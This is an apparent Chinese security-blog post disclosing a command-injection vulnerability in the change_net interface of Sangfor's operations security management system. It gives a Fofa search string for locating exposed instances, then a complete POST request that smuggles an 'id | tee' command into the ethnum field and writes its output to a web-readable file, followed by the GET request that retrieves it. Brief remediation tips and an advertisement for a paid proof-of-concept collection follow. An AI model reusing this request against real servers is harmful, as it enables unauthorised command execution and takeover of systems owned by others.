深信服运维安全管理系统 change\_net 命令执行漏洞
北雪网络安全
北雪网络安全
北雪网络安全
2026年9月1日 11:38
山东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
本文章所描述的内容仅供网络安全学习使用，任何人不允许学到技术内容进行非法系统测试，作者不对任何学习文章并进行非法操作的行为负责，由本人自己承担后果，本文章仅供技术学习。
01
更多内容
网络安全学习知识库每日添加最新漏洞并提供python与 nuclei 批量探测脚本：https://pc.fenchuan8.com/#/index?forum=110296
02
搜索引擎
Fofa: product=\"SANGFOR-运维安全管理系统\"
03
漏洞复现
漏洞概述：深信服运维安全管理系统 change\_net 接口存在命令执行漏洞。攻击者可通过构造恶意的请求，利用该漏洞在目标服务器上执行任意命令，从而可能导致服务器被完全控制、敏感数据泄露等严重后果。影响范围包括所有运行存在该
漏洞版本的深信服运维安全管理系统的服务器。
影响版本：<=3.0.12 20241106
POST /fort/system;help/netConfig/change_net HTTP/1.1Host:Content-Type: application/x-www-form-urlencodedConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: \"Not(A:Brand\";v=\"8\",\"Chromium\";v=\"144\", \"Google Chrome\";v=\"144\"sec-ch-ua-mobile: ?0sec-ch-ua-platform: \"Windows\"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9 sta=static&ipv=4ðnum=;id | tee /usr/local/tomcat/webapps/fort/trust/version/hello1.txt;&address=1.1.1.1&netmask=2.2.2.2&gateWay=3.3.3.3
GET /fort/trust/version/hello1.txt HTTP/1.1Host:
04
修复建议
1、关闭互联网暴露面或接口设置访问权限
2、升级至安全版本
05
内部圈子
🛠️ 【知名漏洞实战圈，纯干货】🛠️
还在找公开漏洞POC而烦恼？还在为漏洞不会验证而发愁？还在为发现不了漏洞而自卑？这里漏洞圈子解决你的困惑！
目前已更新poc数量2500+
🎯 适用场景
▫️渗透测试▫️企业漏洞自查*▫️攻防演练▫️安全服务▫️合规运营***
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论